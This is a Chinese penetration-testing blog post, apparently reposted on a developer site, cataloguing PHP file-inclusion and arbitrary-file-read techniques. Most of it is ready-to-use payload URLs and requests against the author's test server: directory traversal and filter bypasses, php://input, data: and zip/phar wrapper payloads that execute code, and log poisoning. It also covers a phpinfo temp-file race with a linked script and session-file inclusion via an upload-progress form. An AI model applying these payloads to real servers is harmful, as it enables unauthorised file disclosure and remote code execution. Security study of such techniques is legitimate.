web.xml filter 不包含_PHP文件包含

a08f963c45a014c1732b201c81c95964.png

一,PHP中关于文件的操作

任意文件读取/下载,任意文件删除,任意文件包含

file_get_contents(),unlink(),include()

支持【./】和【../】,【../】可用来穿越目录

http://luoke.cn:81/test/1.php?path2=../1.txt

b19d69a03aa2f771104d0cefdbdf9ee7.png

对于将【../】替换为空的,可以双写绕过【..././】

对于强制要求以【upload/】开头的,可以【upload/../../】绕过

对于强制要求以【.xlsx】结尾的,可以【1.php%00.xlsx】绕过

对于Windows服务器支持【..】,支持NTFS文件流【txt::$DATA】

http://luoke.cn:81/test/1.php?path2=..1.txt

支持短文件名,注意,apache默认url也支持短文件名,

http://luoke.cn:81/test/1.php?path2=123456~1.txt
http://luoke.cn:81/test/123456~1.txt

IIS虽然不支持,但是可以用用404和400猜解出来

https://github.com/lijiejie/IIS_shortname_Scanner

file_get_contents()和include()

对于Windows服务器支持后面有一些多余的字符,比如空格和点,bp fuzz如下

%20,%22,%2e,%3c,%3e,%81-%fe

http://luoke.cn:81/test/1.php?path2=1.txt%fe

还可以用<或者>当做通配符代替后缀

http://luoke.cn:81/test/1.php?path2=1.<x<
http://luoke.cn:81/test/1.php?path2=1.<
http://luoke.cn:81/test/1.php?path2=1.>>>

二,PHP中支持多种协议

file

http://luoke.cn:81/test/1.php?path2=file:///C:/xampp/htdocs/1.txt

http(s)和ftp

file_get_contents需要allow_url_fopen=On

include需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path2=http://www.baidu.com
http://luoke.cn:81/test/1.php?path2=ftp://luoke.cn/Downloads/test/1.bat

php://filter

需要allow_url_fopen=On,用include也只能读取文件内容而不能执行代码

http://luoke.cn:81/test/1.php?path2=php://filter/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=1.txt
http://luoke.cn:81/test/1.php?path2=php://filter/read=string.toupper|string.rot13/resource=1.txt

也可以和其他协议一起来用

http://luoke.cn:81/test/1.php?path2=php://filter/convert.base64-encode/resource=https://www.baidu.com

php://input

需要allow_url_include=on

POST /test/1.php?path1=php://input
<?php phpinfo();?>

更多php://协议见

https://www.php.net/manual/zh/wrappers.php.php

zipcompress.zlib, compress.bzip2phar

http://luoke.cn:81/test/1.php?path1=zip://C:xampphtdocstest1.zip%23test.php
http://luoke.cn:81/test/1.php?path1=compress.bzip2://C:xampphtdocstest1.bz2
http://luoke.cn:81/test/1.php?path1=compress.zlib://C:xampphtdocstest1.gz

上面三个必须使用绝对路径,bz2和gz压缩包需要在linux环境生成

tar -czf 1.gz phpinfo.php
tar -cjf 1.bz2 phpinfo.php
http://luoke.cn:81/test/1.php?path1=phar://1.zip/test.php

data:text/plain

需要allow_url_fopen=On allow_url_include=On

http://luoke.cn:81/test/1.php?path1=data:text/plain,<?php%20phpinfo();?>
http://luoke.cn:81/test/1.php?path1=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

smb

仅windows服务器支持,双off都可以包含,但国内公网已屏蔽smb协议

http://luoke.cn:81/test/1.php?path1=127.0.0.1UsersAdministrator.log

三,无法上传文件如何包含

可以包含缓存或者日志文件

http://luoke.cn:81/test/1.php?<?php phpinfo();?>

用burp直接发包,浏览器会url编码,这样即使报错400也会被写入log

http://luoke.cn:81/test/1.php?path1=../../apache/logs/access.log

f4a6f65e5ec95571bb3d326915258a1d.png

包含php的上传缓存,目录于phpinfo中upload_tmp_dir

2953557dafabbad6f5a3d0cdfbefcf69.png

其原理是对任意php构造上传表单(即使无法上传文件),都会在此目录生成一个php****.tmp的缓存文件

6e4db15e7e484fc8af4267b4366305be.png

可以包含此文件,但文件存活时间很短且随机名称,所以可以在phpinfo页面上传文件, phpinfo中含有此缓存文件的名称。

c6720b4068df7b65a0481a7cdd07bdd9.png

同时会将一些head头和GET打印出来,会延迟tmp文件删除的时间,需要在head和GET头填入垃圾字符。脚本如下

https://github.com/luoke90hou/files/blob/main/include_tmp.py

无phpinfo,有PHPSESSID还可以包含tmp目录里的session文件

session_start()开启session。

a4a3b7ab1cc57d1b6e051313474240aa.png

325011a0701fea1ddda83e895879e3e1.png

随便构造一个对任意php文件上传内容为<?php phpinfo();?>的文件

<form action="http://luoke.cn:81/echo.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
 <input type="file" name="file" />
<input type="submit" />
</form>

然后burp条件竞争

http://luoke.cn:81/test/1.php?path1=file:///C:xampptmpsess_2sm7vtt2i612p3ith57rhi5gqc

成功包含

3e6edc24e1e2f54110d4dee0fec62c2a.png

CVE-2018-12613 phpmyadmin也是包含的session文件

觉得还不错的可以关注一下公众号——珂技知识分享,有些渗透实例会发布在上面。

8f7e1cd171a95e05991b2df974cac16f.png
公众号
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值